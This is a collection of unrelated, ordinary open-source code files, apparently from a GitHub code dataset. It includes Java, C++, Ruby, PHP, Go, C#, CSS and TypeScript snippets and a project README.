text:
using namespace std;

namespace bgen {

    base_plugin * make_casabgen_plugin() {
        return new casablanca_plugin();
    }

    string casablanca_plugin::public_name () const {
        return "casablanca";
    }

    bool casablanca_plugin::accepts (const std::string & lang) const{
        return lang == "casablanca";
    }

    void casablanca_plugin::generate (const code_map & symbols) const {

        casa::type_map intermediate;

        casa::validation::validate_and_set(symbols, intermediate);

        bgen::casa::gen::cpp::generate (
            intermediate,
            "casa_rest_server.h",
            "resources/casablanca/parser_boilerplate.txt",
            "resources/casablanca/listener_boilerplate.txt"
        );

        bgen::casa::gen::js::generate (
            intermediate,
            "casa_rest_client.js",
            "resources/casablanca/js_boilerplate.txt"
        );

    }

}


text:
package com.google.cloud.logging.v2.samples;

// [START logging_v2_generated_ConfigServiceV2_CreateSink_async]
import com.google.api.core.ApiFuture;
import com.google.cloud.logging.v2.ConfigClient;
import com.google.logging.v2.CreateSinkRequest;
import com.google.logging.v2.LogSink;
import com.google.logging.v2.ProjectName;

public class AsyncCreateSink {

  public static void main(String[] args) throws Exception {
    asyncCreateSink();
  }

  public static void asyncCreateSink() throws Exception {
    // This snippet has been automatically generated and should be regarded as a code template only.
    // It will require modifications to work:
    // - It may require correct/in-range values for request initialization.
    // - It may require specifying regional endpoints when creating the service client as shown in
    // https://cloud.google.com/java/docs/setup#configure_endpoints_for_the_client_library
    try (ConfigClient configClient = ConfigClient.create()) {
      CreateSinkRequest request =
          CreateSinkRequest.newBuilder()
              .setParent(ProjectName.of("[PROJECT]").toString())
              .setSink(LogSink.newBuilder().build())
              .setUniqueWriterIdentity(true)
              .build();
      ApiFuture<LogSink> future = configClient.createSinkCallable().futureCall(request);
      // Do something.
      LogSink response = future.get();
    }
  }
}
// [END logging_v2_generated_ConfigServiceV2_CreateSink_async]

redpajama_set_name: RedPajamaGithub


text:
package net.sourceforge.plantuml.activitydiagram3.gtile;

import java.util.Arrays;
import java.util.Collection;

import net.sourceforge.plantuml.ISkinParam;
import net.sourceforge.plantuml.activitydiagram3.Branch;
import net.sourceforge.plantuml.activitydiagram3.ftile.Swimlane;
import net.sourceforge.plantuml.awt.geom.XDimension2D;
import net.sourceforge.plantuml.graphic.StringBounder;
import net.sourceforge.plantuml.graphic.TextBlock;
import net.sourceforge.plantuml.graphic.TextBlockUtils;
import net.sourceforge.plantuml.style.SName;
import net.sourceforge.plantuml.style.StyleSignatureBasic;
import net.sourceforge.plantuml.ugraphic.color.HColor;

public class GtileIfAlone extends GtileTopDown3 {

	private static final double SUPP_WIDTH = 15;

	public GtileIfAlone(Swimlane swimlane, Gtile gtile, Branch branch0) {
		super(getShape1(swimlane, branch0, gtile.getStringBounder(), gtile.skinParam()), gtile,
				getShape2(swimlane, branch0.getColor(), gtile.getStringBounder(), gtile.skinParam()));

	}

	private static Gtile getShape1(Swimlane swimlane, Branch branch0, StringBounder stringBounder,
			ISkinParam skinParam) {
		GtileHexagonInside tmp = Gtiles.hexagonInside(swimlane, stringBounder, skinParam,
				getDefaultStyleDefinitionDiamond(), branch0.getColor(), branch0.getLabelTest());
		final TextBlock tmp0 = branch0.getTextBlockPositive();
		return Gtiles.withSouthMargin(tmp.withSouthLabel(tmp0), 20);
	}

	private static Gtile getShape2(Swimlane swimlane, HColor color, StringBounder stringBounder, ISkinParam skinParam) {
		final AbstractGtileRoot tmp = Gtiles.diamondEmpty(swimlane, stringBounder, skinParam,
				getDefaultStyleDefinitionDiamond(), color);
		return Gtiles.withNorthMargin(tmp, 20);
	}

	final public StyleSignatureBasic getDefaultStyleDefinitionActivity() {
		return StyleSignatureBasic.of(SName.root, SName.element, SName.activityDiagram, SName.activity);
	}

	final static public StyleSignatureBasic getDefaultStyleDefinitionDiamond() {
		return StyleSignatureBasic.of(SName.root, SName.element, SName.activityDiagram, SName.activity, SName.diamond);
	}

	final public StyleSignatureBasic getDefaultStyleDefinitionArrow() {
		return StyleSignatureBasic.of(SName.root, SName.element, SName.activityDiagram, SName.arrow);
	}

	@Override
	public XDimension2D calculateDimension(StringBounder stringBounder) {
		return XDimension2D.delta(super.calculateDimension(stringBounder), SUPP_WIDTH, 0);
	}

	@Override
	public Collection<GConnection> getInnerConnections() {

		final GConnection arrow1 = new GConnectionVerticalDown(getPos1(), tile1.getGPoint(GPoint.SOUTH_HOOK), getPos2(),
				tile2.getGPoint(GPoint.NORTH_HOOK), TextBlockUtils.EMPTY_TEXT_BLOCK);
		final GConnection arrow2 = new GConnectionVerticalDown(getPos2(), tile2.getGPoint(GPoint.SOUTH_HOOK), getPos3(),
				tile3.getGPoint(GPoint.NORTH_HOOK), TextBlockUtils.EMPTY_TEXT_BLOCK);

		final double xright = calculateDimension(stringBounder).getWidth();

		final GConnection arrow3 = new GConnectionSideThenVerticalThenSide(getPos1(), tile1.getGPoint(GPoint.EAST_HOOK),
				getPos3(), tile3.getGPoint(GPoint.EAST_HOOK), xright, TextBlockUtils.EMPTY_TEXT_BLOCK);

		return Arrays.asList(arrow1, arrow2, arrow3);
	}

}


text:
package kc87.service;

import kc87.domain.Account;
import kc87.repository.generic.AccountRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.core.GrantedAuthority;
import org.springframework.security.core.authority.SimpleGrantedAuthority;
import org.springframework.security.core.userdetails.User;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.core.userdetails.UsernameNotFoundException;
import org.springframework.stereotype.Service;

import java.util.ArrayList;
import java.util.List;

@Service
@SuppressWarnings("unused")
public class UserDetailsServiceImpl implements UserDetailsService {

   private AccountRepository accountRepository;

   @Autowired
   public UserDetailsServiceImpl(final AccountRepository accountRepository) {
      this.accountRepository = accountRepository;
   }

   @Override
   public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException {
      Account account = accountRepository.findByUsernameIgnoreCase(username);
      if (account != null) {
         List<GrantedAuthority> authorities = new ArrayList<>();
         for (String role : account.getRoles().split(",")) {
            authorities.add(new SimpleGrantedAuthority("ROLE_" + role));
         }
         return new User(account.getUsername(), account.getPassword(), authorities);
      } else {
         throw new UsernameNotFoundException("User does not exist!");
      }
   }
}


text:
class StripeAccountUpdateJob < ActiveJob::Base
  queue_as :default

  def perform(id)
    # Don't use Account.find(id) as it assumes id is the obsificated ID
    account = Account.find_by(id: id)

    customer = Stripe::Customer.retrieve(account.stripe_customer_id)
    customer.card = account.card_token if account.card_token? && account.card_token != 'dummy'
    customer.description = account.company_name
    customer.email = account.email
    customer.save

    subscription = customer.subscriptions.retrieve(account.stripe_subscription_id)
    current_plan = account.plan_stripe_id
    current_plan = account.paused_plan_stripe_id unless account.paused_plan_stripe_id.nil?
    if subscription.plan.id != current_plan
      subscription.plan = current_plan
      subscription.save
    end

    account.card_token = 'dummy'
    account.expires_at = Time.zone.at(subscription.current_period_end)
    account.save

    card = customer.cards.retrieve(customer.default_card)
    account.card_brand = card.brand
    account.card_last4 = card.last4
    account.card_exp = "#{card.exp_month}/#{card.exp_year}"
    account.save!
  end
end


text:
.soria .dojoxGrid {
	position: relative;
	background-color: #e9e9e9;
	font-size: 0.85em;
	-moz-outline-style: none;
	outline: none;
	overflow: hidden;
	height: 0;
}
.soria .dojoxGrid table {
	padding: 0;
}
.soria .dojoxGrid td {
	-moz-outline: none;
}
.soria .dojoxGrid-master-header {
	position: relative;
}
.soria .dojoxGrid-master-view  {
	position: relative;
}
.soria .dojoxGrid-view {
	position: absolute;
	overflow: hidden;
}
.soria .dojoxGrid-header {
	position: absolute;
	overflow: hidden;
}
.soria .dojoxGrid-header {
	background-color:  #e9e9e9;
}
.soria .dojoxGrid-header table {
	text-align: center;
}
.soria .dojoxGrid-header .dojoxGrid-cell-content {
	text-align: center;
}
.soria .dojoxGrid-header .dojoxGrid-cell {
	border: 1px solid transparent;

	border-color: white #ACA899 #919191 white;
	background: url(../compat/../../../dijit/themes/soria/images/titleBar.png) #e9e9e9 repeat-x top;
	padding-bottom: 2px;
	color: #000 !important;
}
.soria .dojoxGrid-header .dojoxGrid-cell-over {
	background: url(../compat/../../../dijit/themes/soria/images/titleBarActive.png) #e9e9e9 repeat-x top;
}
.soria .dojoxGrid-sort-down {
	background: url(../compat/_grid/images/grid_sort_down.gif) right no-repeat;
	padding-left: 0px;
	margin-left: 0px;
}
.soria .dojoxGrid-sort-up {
	background: url(../compat/_grid/images/grid_sort_up.gif) right no-repeat;
	padding-left: 0px;
	margin-left: 0px;
}
.soria .gridArrowButtonChar {
	display:none !important;
}
.dijit_a11y .gridArrowButtonChar {
	display:inline !important;
}
.soria .dojoxGrid-scrollbox {
	position: relative;
	overflow: scroll;
	background-color: #fefefe;
	width: 100%;
}
.soria .dojoxGrid-content {
	position: relative;
	overflow: hidden;
	 -moz-outline-style: none;
	outline: none;
}
.soria .dojoxGrid-rowbar {
	border: none;

	background: url(../compat/_grid/images/titleBar.png) #e9e9e9 repeat-y right;
	border-right: 1px solid #cccccc;
	padding: 0px;
}
.soria .dojoxGrid-rowbar-inner {
	border: none;
	border-bottom: 1px solid #cccccc;
}
.soria .dojoxGrid-rowbar-over {
	background: url(../compat/_grid/images/titleBarActive.png) #e9e9e9 repeat-y right;
}
.soria .dojoxGrid-rowbar-selected {
	background-color: #D9E8F9;
	background-image: none;
	background: url(../compat/../../../dijit/themes/soria/images/titleBar.png) #dddddd repeat-x top;
	border-right: 1px solid #cccccc;
	background-position: center;
	background-repeat: no-repeat;
}
.soria .dojoxGrid-row {
	position: relative;
	width: 9000em;
}
.soria .dojoxGrid-row {
	border: none;
	border-left: none;
	border-right: none;
	background-color: white;
	border-top: none;
}
.soria .dojoxGrid-row-over {
	border-top-color: #cccccc;
	border-bottom-color: #cccccc;
}
.soria .dojoxGrid-row-over .dojoxGrid-cell {
	background-color: #60a1ea;
	color:#fff;
}
.soria .dojoxGrid-row-odd {
	background-color: #f2f5f9;

}
.soria .dojoxGrid-row-selected {
	background-color: #aec7e3;
}
.soria .dojoxGrid-row-table {
	table-layout: fixed;
	width: 0;
	border-collapse: collapse;
}
.soria .dojoxGrid-invisible {
	visibility: hidden;
}
.soria .Xdojo-ie .dojoxGrid-invisible {
	display: none;
}
.soria .dojoxGrid-invisible td, .dojoxGrid-header .dojoxGrid-invisible td {
	border-top-width: 0;
	border-bottom-width: 0;
	padding-top: 0;
	padding-bottom: 0;
	height: 0;
	overflow: hidden;
}
.soria .dojoxGrid-cell {
	border: 1px dotted #D5CDB5;
	padding: 3px 3px 3px 3px;
	text-align: left;
	overflow: hidden;
}
.dj_ie6 .soria .dojoxGrid-cell {
	border: 1px solid white;
	border-right: 1px solid #D5CDB5;
}
.soria .dojoxGrid-cell-focus {
	border: 1px dotted #a6a6a6;
}
.soria .dojoxGrid-cell-over {
	border: 1px dotted #a6a6a6;
}
.soria .dojoxGrid-cell-focus.dojoxGrid-cell-over {
	border: 1px dotted #595959;
}
.soria .dojoxGrid-cell-clip {
	width: 100%;
	overflow: hidden;
	white-space:nowrap;
	text-overflow: ellipsis;
}
.soria .dojoxGrid-row-editing td {

	background-color: #60a1ea;

}
.soria .dojoxGrid-row-inserting td {
	background-color: #F4FFF4;
}
.soria .dojoxGrid-row-inflight td {
	background-color: #F2F7B7;
}
.soria .dojoxGrid-row-error td {
	background-color: #F8B8B6;
}
.soria .dojoxGrid-input,
.soria .dojoxGrid-select,
.soria .dojoxGrid-textarea {
	margin: 0;
	padding: 0px;
	border-style: none;
	width: 100%;
	font-size: 100%;
	font-family: inherit;
}
.dojoxGrid-hidden-focus {
	position: absolute;
	left: -1000px;
	top: -1000px;
	height: 0px, width: 0px;
}
.dijit_a11y .dojoxGrid-rowbar-selected {
	border-top: 1px solid white;
	border-bottom: 1px dashed black;
	border-top: 0;
	background: none;
}
.dijit_a11y .dojoxGrid-rowbar-selected .dojoxGrid-rowbar-inner {
	border: 0;
	border-top: 1px solid white;
}
.dijit_a11y .dojoxGrid-row-selected {
	border-bottom: 1px dashed black;
}


text:
module Selenium
  module WebDriver
    module Interactions
      #
      # Action related to scrolling a wheel.
      #
      # @api private
      #

      class Scroll < Interaction
        def initialize(source:, x: 0, y: 0, delta_x: 0, delta_y: 0, origin: :viewport, duration: 0.25)
          super(source)
          @type = :scroll
          @duration = duration * 1000
          @origin = origin
          @x_offset = x
          @y_offset = y
          @delta_x = delta_x
          @delta_y = delta_y
        end

        def assert_source(source)
          raise TypeError, "#{source.type} is not a valid input type" unless source.is_a? WheelInput
        end

        def encode
          {'type' => type.to_s,
           'duration' => @duration.to_i,
           'x' => @x_offset,
           'y' => @y_offset,
           'deltaX' => @delta_x,
           'deltaY' => @delta_y,
           'origin' => @origin.is_a?(Element) ? @origin : @origin.to_s}
        end
      end # PointerPress
    end # Interactions
  end # WebDriver
end # Selenium


text:
#include "boost/utility.hpp"
#include "boost/shared_ptr.hpp"
#include "SDL.h"
#include "RGBVideoFormat.hpp"
#include "RGBVideoFrame.hpp"
#include "Sample.hpp"
#include "SDLSurfaceLock.hpp"

namespace VideoCapture {

class SDLSurface : private boost::noncopyable {
 public:
  typedef std::size_t SizeType;
  typedef boost::shared_ptr<SDLSurface> SDLSurfaceSharedPtr;
  typedef Sample<RGBVideoFrame> RGBVideoSample;
  typedef boost::shared_ptr<RGBVideoFrame> RGBVideoFrameSharedPtr;
  typedef RGBVideoFrame::ImageType ImageType;
  typedef RGBVideoFrame::ImageViewType ImageViewType;
  static SDLSurfaceSharedPtr createRGBSurfaceSharedPtr(
      const RGBVideoFormat& videoFormat);
  SDLSurface(SDL_Surface* pSurface);
  ~SDLSurface();
  SDL_Surface* rawSurfacePtr();
  bool renderToSurface(RGBVideoSample& videoSample);
  IntegerSize sizePixels() const;
  SizeType bitsPerPixel() const;
  SizeType sizeBytes() const;
  SizeType sizeRowBytes() const;
  RGBFormat rgbFormat() const;
  bool isInitialized() const;
  bool hasData() const;
  operator bool() const {
    return isInitialized();
  }
 private:
  template<
   typename RGBImageViewType,
   typename RGBPixelPtrType> void renderImageToSurface(
      ImageViewType& imageView);
  void initialize();
  RGBFormat rgbFormatFromPixelFormat();
  SDL_Surface* m_pSurface;
  IntegerSize m_sizePixels;
  SizeType m_bitsPerPixel;
  SizeType m_sizeBytes;
  SizeType m_sizeRowBytes;
  RGBFormat m_rgbFormat;
};

} // VideoCapture

#endif // VIDEO_CAPTURE_SDL_SURFACE_H


text:
package no.kantega.publishing.admin.util;

import no.kantega.commons.util.LocaleLabels;
import no.kantega.commons.util.StringHelper;
import no.kantega.publishing.api.content.ContentStatus;
import no.kantega.publishing.common.Aksess;
import no.kantega.publishing.common.data.enums.ContentType;
import no.kantega.publishing.common.data.enums.ContentVisibilityStatus;

/**
 * Helper class for extracting properties associated with navigator menu items.
 */
public class NavigatorUtil {

    /**
     * Returns the name of the icon to be used in the navigator.
     *
     * @param type
     * @param vStatus
     * @param status
     * @return
     */
    public static String getIcon(ContentType type, int vStatus, ContentStatus status) {
        if (vStatus == ContentVisibilityStatus.WAITING.statusId) {
            return "waiting";
        } else if (vStatus == ContentVisibilityStatus.EXPIRED.statusId) {
            return "expired";
        } else if (vStatus == ContentVisibilityStatus.ARCHIVED.statusId) {
            return "expired";
        } else {
            if (type == ContentType.SHORTCUT) {
                return "shortcut";
            } else {
                String ico;
                if (type == ContentType.LINK) {
                    ico = "link";
                } else if (type == ContentType.FILE) {
                    ico = "file";
                } else {
                    ico = "page";
                }

                if (status == ContentStatus.DRAFT) {
                    ico = ico + "-draft";
                }

                return ico;
            }
        }
    }

    /**
     * Returns the text associated with a menu item icon. Typically shown on mouseover.
     *
     * @param type
     * @param vStatus
     * @param status
     * @return
     */
    //TODO: Use locale labels
    public static String getIconText(ContentType type, int vStatus, ContentStatus status) {
        if (vStatus == ContentVisibilityStatus.WAITING.statusId) {
            return "Utsatt publisering";
        } else if (vStatus == ContentVisibilityStatus.EXPIRED.statusId) {
            return "Utgått på dato - skjult";
        } else if (vStatus == ContentVisibilityStatus.ARCHIVED.statusId) {
            return "Utgått på dato - arkivert";
        } else {
            if (type == ContentType.SHORTCUT) {
                return "Snarvei";
            } else {
                String txt;
                if (type == ContentType.LINK) {
                    txt = "Lenke";
                } else if (type == ContentType.FILE) {
                    txt = "Fildokument";
                } else if (type == ContentType.FORM) {
                    txt = "Skjema";
                } else {
                    txt = "Innholdsside";
                }

                if (status == ContentStatus.DRAFT || status == ContentStatus.GHOSTDRAFT ) {
                    txt = txt + " (kladd)";
                }

                return txt;
            }
        }
    }

    /**
     * Calculates a title for use by the navigator based on the objects complete title.
     *
     * Long titles are cropped.
     *
     *  @param type
     * @param contentTitle
     * @return
     */
    public static String getNavigatorTitle(ContentType type, String contentTitle) {
        if (type == ContentType.SHORTCUT) {
            contentTitle = contentTitle + " "+ LocaleLabels.getLabel("aksess.navigator.title.shortcut", Aksess.getDefaultAdminLocale());
        }
        return contentTitle;
    }

    /**
     * Returns the kind of context menu an item should have, based on it's content type.
     *
     * @param type
     * @param vStatus
     * @param status
     * @return
     */
    public static String getContextMenuType(ContentType type, int vStatus, ContentStatus status) {
        if (type == ContentType.LINK) {
            return "link";
        } else if (type == ContentType.FILE) {
            return "file";
        } else if (type == ContentType.SHORTCUT) {
            return "shortcut";
        } else {
            return "page";
        }
    }

       /**
     * Get a list of open folders. If "expand" parameter is set, path to select Content object will be added to list.
     * @param expand
     * @param openFoldersList
     * @param path - path to current selected object
     * @param currentId
        * @return - Comma separated list of open folders
     */
    public static String getOpenFolders(boolean expand, String openFoldersList, String path, int currentId) {
        if (openFoldersList == null) {
            openFoldersList = "";
        }

        StringBuilder openFolderBuilder = new StringBuilder(openFoldersList);
        if (expand && currentId != -1) {
            if (openFoldersList.endsWith(",")) {
                openFolderBuilder.append(currentId);
            } else {
                openFolderBuilder.append(",").append(currentId);
            }
        }

        // List of open folders
        int[] openFolders = StringHelper.getInts(openFolderBuilder.toString(), ",");

        if (expand && path != null) {
            // Add all elements in path to expand tree
            if (path.length() > 1) {
                int pathIds[] = StringHelper.getInts(path, "/");
                if (pathIds != null) {
                    for (int pId : pathIds) {
                        boolean exists = false;
                        for (int openFolder : openFolders) {
                            if (pId == openFolder) {
                                exists = true;
                                break;
                            }
                        }
                        if (!exists) {
                            openFolderBuilder.append(",").append(pId);
                        }
                    }
                }
            }
        }

        return openFolderBuilder.toString();
    }
}


text:
using Machine.Specifications;
using MFlow.Core.Configuration.Enums;
using MFlow.Core.ExpressionBuilder;
using MFlow.Core.MessageResolver;

namespace MFlow.Core.Tests.for_FluentValidationConfiguration
{
    [Subject("for_FluentValidationConfiguration")]
    class when_callin_with_with_defaults
    {
        Because of = () => { MFlowConfiguration.Current.WithDefaults(); };

        It should_have_a_custom_implemention_mode_of_ignore = () =>
        {
            MFlowConfiguration.Current.CustomImplementationMode.ShouldEqual(CustomImplementationMode.Ignore);
        };

        It should_have_statistics_enabled = () =>
        {
            MFlowConfiguration.Current.Statistics.Enabled.ShouldEqual(true);
        };

        It should_have_a_message_resolver = () =>
        {
            MFlowConfiguration.Current.MessageResolver.Resolver.ShouldBeOfType<IResolveValidationMessages>();
        };

        It should_have_an_message_resolver = () =>
        {
            MFlowConfiguration.Current.ExpressionBuilder.Builder.ShouldBeOfType<IBuildExpressions>();
        };
    }
}


text:
package org.infinispan.cdi.event.cache;

import org.infinispan.Cache;
import org.infinispan.notifications.Listener;
import org.infinispan.notifications.cachelistener.annotation.TransactionCompleted;
import org.infinispan.notifications.cachelistener.event.TransactionCompletedEvent;
import org.infinispan.transaction.xa.GlobalTransaction;

import javax.enterprise.event.Event;
import javax.enterprise.util.TypeLiteral;

/**
 * @author Pete Muir
 */
@Listener
public class TransactionCompletedAdapter<K, V> extends AbstractAdapter<TransactionCompletedEvent<K, V>> {

   public static final TransactionCompletedEvent<?, ?> EMPTY = new TransactionCompletedEvent<Object, Object>() {

      @Override
      public Type getType() {
         return null;
      }

      @Override
      public GlobalTransaction getGlobalTransaction() {
         return null;
      }

      @Override
      public boolean isOriginLocal() {
         return false;
      }

      @Override
      public boolean isPre() {
         return false;
      }

      @Override
      public Cache<Object, Object> getCache() {
         return null;
      }

      @Override
      public boolean isTransactionSuccessful() {
         return false;
      }

   };

   @SuppressWarnings("serial")
   public static final TypeLiteral<TransactionCompletedEvent<?, ?>> WILDCARD_TYPE = new TypeLiteral<TransactionCompletedEvent<?, ?>>() {
   };

   public TransactionCompletedAdapter(Event<TransactionCompletedEvent<K, V>> event) {
      super(event);
   }

   @Override
   @TransactionCompleted
   public void fire(TransactionCompletedEvent<K, V> payload) {
      super.fire(payload);
   }
}


text:
<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  <title>PHPMailer - sendmail test</title>
</head>
<body>
<?php
require '../class.phpmailer.php';

//Create a new PHPMailer instance
$mail = new PHPMailer();
// Set PHPMailer to use the sendmail transport
$mail->IsSendmail();
//Set who the message is to be sent from
$mail->SetFrom('from@example.com', 'First Last');
//Set an alternative reply-to address
$mail->AddReplyTo('replyto@example.com','First Last');
//Set who the message is to be sent to
$mail->AddAddress('whoto@example.com', 'John Doe');
//Set the subject line
$mail->Subject = 'PHPMailer sendmail test';
//Read an HTML message body from an external file, convert referenced images to embedded, convert HTML into a basic plain-text alternative body
$mail->MsgHTML(file_get_contents('contents.html'), dirname(__FILE__));
//Replace the plain text body with one created manually
$mail->AltBody = 'This is a plain-text message body';
//Attach an image file
$mail->AddAttachment('images/phpmailer-mini.gif');

//Send the message, check for errors
if(!$mail->Send()) {
  echo "Mailer Error: " . $mail->ErrorInfo;
} else {
  echo "Message sent!";
}
?>
</body>
</html>


text:
#ifndef SKSL_CHILDCALL
#define SKSL_CHILDCALL

#include "include/private/SkTArray.h"
#include "src/sksl/ir/SkSLExpression.h"
#include "src/sksl/ir/SkSLVariable.h"

namespace SkSL {

/**
 * A call to a child effect object (shader, color filter, or blender).
 */
class ChildCall final : public Expression {
public:
    inline static constexpr Kind kExpressionKind = Kind::kChildCall;

    ChildCall(int line, const Type* type, const Variable* child, ExpressionArray arguments)
            : INHERITED(line, kExpressionKind, type)
            , fChild(*child)
            , fArguments(std::move(arguments)) {}

    // Creates the child call; reports errors via ASSERT.
    static std::unique_ptr<Expression> Make(const Context& context,
                                            int line,
                                            const Type* returnType,
                                            const Variable& child,
                                            ExpressionArray arguments);

    const Variable& child() const {
        return fChild;
    }

    ExpressionArray& arguments() {
        return fArguments;
    }

    const ExpressionArray& arguments() const {
        return fArguments;
    }

    bool hasProperty(Property property) const override;

    std::unique_ptr<Expression> clone() const override;

    std::string description() const override;

private:
    const Variable& fChild;
    ExpressionArray fArguments;

    using INHERITED = Expression;
};

}  // namespace SkSL

#endif


text:
namespace LavoraConNoi.Models
{
    using System;
    using System.Collections.Generic;

    public partial class a_candidati_lingue
    {
        public int ID_CANDIDATO { get; set; }
        public int ID_LINGUA { get; set; }
        public Nullable<int> CONOSC_LETTO { get; set; }
        public Nullable<int> CONOSC_PARLATO { get; set; }
        public Nullable<int> CONOSC_SCRITTO { get; set; }
        public Nullable<int> CONOSC_TECNICO { get; set; }

        public virtual a_candidati a_candidati { get; set; }
    }
}


text:
<?php
    include(__DIR__."/../../payment/mollie_giropay.php");


text:
[![Build Status](https://travis-ci.org/andela-oakinwa/document-management-system.svg?branch=master)](https://travis-ci.org/andela-oakinwa/document-management-system)
[![codecov](https://codecov.io/gh/andela-oakinwa/document-management-system/branch/master/graph/badge.svg)](https://codecov.io/gh/andela-oakinwa/document-management-system)
[![Coverage Status](https://coveralls.io/repos/github/andela-oakinwa/document-management-system/badge.svg?branch=staging)](https://coveralls.io/github/andela-oakinwa/document-management-system?branch=staging)

## About doqMan
- A simple Document Management System complete with roles and privileges. Each document defines access rights and the document defines which roles can access it.

### Features/Functionalities
#### Privileges
- Admin
  Supercedes all other users. Manages all data and account. An admin have the privilege to update a user information. This is important in case of a forgotten password and to increase/decrease privilege of a user.
- Regular
  These are registered users with read write access. A regular user has a profile page, and a dashboard to manage their documents.
  These documents can be edited and deleted by the regular user.

### Installation
#### Running Locally
 - Clone the repo `https://github.com/andela-oakinwa/document-management-system.git`
 - Change to the root folder
 - Start app:
 ```
  npm start
 ```

#### Testing
##### Server
  - Unit Test:
    ```
     npm run test:server
    ```
##### Client
  - End to end test:
    ```
      npm run test:e2e
    ```
##### Full test
  ```
     npm run test
  ```

## Technology Stack
- [React](https://facebook.github.io/react/)
- [Redux](http://redux.js.org/)
- [MaterializeCSS](http://materializecss.com/)
- [NodeJS](https://nodejs.org/en/)
- [JWT](https://jwt.io/)
- [Postgresql](https://www.postgresql.org/)
- [Sequelize ORM](http://docs.sequelizejs.com/)

## API Documentation
The API has routes, each dedicated to a single task that uses HTTP response codes to indicate API status and errors.

### API Link
[API Documentation](https://dms-doqman.herokuapp.com/api)

### Features

The following features make up the doqMan Document Management System API:

#### Authentication

- It uses JSON Web Token (JWT) for authentication
- It generates a token on successful login or account creation and returns it to the user
- It verifies the token to ensure a user is authenticated to access every endpoints

#### Users

- It allows users to create account
- It allows users to login and obtain a unique token
- It allows authenticated users to retrieve and update their information
- It allows the admin to manage users

#### Roles

- It ensures roles can be created by an admin user
- A non-admin cannot access this endpoint
- A non-admin user cannot create, retrieve, modify, or delete roles
- It allows assignment of roles to users

#### Documents

- It allows authenticated users to create document
- It ensures all documents are accessible based on the permission/priviledges
- It allows admin users to create, retrieve, modify, and delete documents
- It ensures users can retrieve, edit and delete documents that they own
- It allows users to retrieve all documents they own as well as public documents
- It allows users to retrieve all public documents
- It allows users on the same role to retrieve role-based documents

#### Search

- It allows admin to retrieve all documents that matches search term
- It allows admin to search users based on a specified search term
- It allows users to search public documents for a specified search term
- It allows users to search for users through name or email address
- It allows users on the same role to search through role-based documents

## Postman Collection
[![Run in Postman](https://run.pstmn.io/button.svg)](https://app.getpostman.com/run-collection/37ef46b88cd1286341d4)

## Limitations:
The limitations to the Document Management System API are as follows:

* Users can only create textual documents and retrieve same when needed.
* Users cannot share documents with people, but can make document `public` to make it available to other users.
* Spreadsheet is not supported
* Other file formats not supported

### Contributing
Contributors are welcome to further enhance the features of this API by contributing to its development.

## Author
- _Oluwafemi Akinwa_


text:
package org.apache.camel.itest.jms;

import org.apache.camel.Exchange;
import org.apache.camel.Processor;
import org.apache.camel.builder.RouteBuilder;
import org.apache.camel.component.jms.JmsComponent;
import org.apache.camel.itest.utils.extensions.JmsServiceExtension;
import org.apache.camel.spi.Registry;
import org.apache.camel.test.AvailablePortFinder;
import org.apache.camel.test.junit5.CamelTestSupport;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.RegisterExtension;

import static org.apache.camel.Exchange.CONTENT_TYPE;
import static org.apache.camel.Exchange.HTTP_METHOD;
import static org.apache.camel.Exchange.HTTP_RESPONSE_CODE;
import static org.junit.jupiter.api.Assertions.assertEquals;

/**
 * Based on user forum.
 */
public class JmsHttpPostIssueWithMockTest extends CamelTestSupport {

    @RegisterExtension
    public static JmsServiceExtension jmsServiceExtension = JmsServiceExtension.createExtension();

    private int port;

    @Test
    void testJmsInOnlyHttpPostIssue() throws Exception {
        getMockEndpoint("mock:result").expectedMessageCount(1);

        template.sendBody("jms:queue:in", "Hello World");

        assertMockEndpointsSatisfied();
    }

    @Test
    void testJmsInOutHttpPostIssue() throws Exception {
        getMockEndpoint("mock:result").expectedMessageCount(1);

        String out = template.requestBody("jms:queue:in", "Hello World", String.class);
        assertEquals("OK", out);

        assertMockEndpointsSatisfied();
    }

    @Override
    protected RouteBuilder createRouteBuilder() {
        port = AvailablePortFinder.getNextAvailable();

        return new RouteBuilder() {
            public void configure() {
                from("jms:queue:in")
                        .setBody().simple("name=${body}")
                        .setHeader(CONTENT_TYPE).constant("application/x-www-form-urlencoded")
                        .setHeader(HTTP_METHOD).constant("POST")
                        .to("http://localhost:" + port + "/myservice")
                        .to("mock:result");

                from("jetty:http://0.0.0.0:" + port + "/myservice")
                        .process(new Processor() {
                            @Override
                            public void process(Exchange exchange) {
                                String body = exchange.getIn().getBody(String.class);
                                assertEquals("name=Hello World", body);

                                exchange.getMessage().setBody("OK");
                                exchange.getMessage().setHeader(CONTENT_TYPE, "text/plain");
                                exchange.getMessage().setHeader(HTTP_RESPONSE_CODE, 200);
                            }
                        });
            }
        };
    }

    @Override
    protected void bindToRegistry(Registry registry) throws Exception {
        // add ActiveMQ with embedded broker
        JmsComponent amq = jmsServiceExtension.getComponent();

        amq.setCamelContext(context);

        registry.bind("jms", amq);
    }

}


text:
package ebpf

import (
	"path"

	"github.com/cilium/cilium/api/v1/models"
	"github.com/cilium/cilium/pkg/bpf"
	"github.com/cilium/cilium/pkg/lock"
)

var (
	mutex       lock.RWMutex
	mapRegister = map[string]*Map{}
)

func registerMap(m *Map) {
	mutex.Lock()
	mapRegister[m.path] = m
	mutex.Unlock()

	log.WithField("path", m.path).Debug("Registered BPF map")
}

// GetMap returns the registered map with the given name or absolute path
func GetMap(name string) *Map {
	mutex.RLock()
	defer mutex.RUnlock()

	if !path.IsAbs(name) {
		name = bpf.MapPath(name)
	}

	return mapRegister[name]
}

// GetOpenMaps returns a slice of all open BPF maps. This is identical to
// calling GetMap() on all open maps.
func GetOpenMaps() []*models.BPFMap {
	// create a copy of mapRegister so we can unlock the mutex again as
	// locking Map.lock inside of the mutex is not permitted
	mutex.RLock()
	maps := make([]*Map, 0, len(mapRegister))
	for _, m := range mapRegister {
		maps = append(maps, m)
	}
	mutex.RUnlock()

	mapList := make([]*models.BPFMap, len(maps))
	for i, m := range maps {
		mapList[i] = m.GetModel()
	}

	return mapList
}


text:
import Firebase from 'firebase/firebase';

export class AngularFire {
  ref: Firebase;
  constructor(ref: Firebase) {
    this.ref = ref;
  }
  asArray() {
    return new FirebaseArray(this.ref);
  }
}

/*
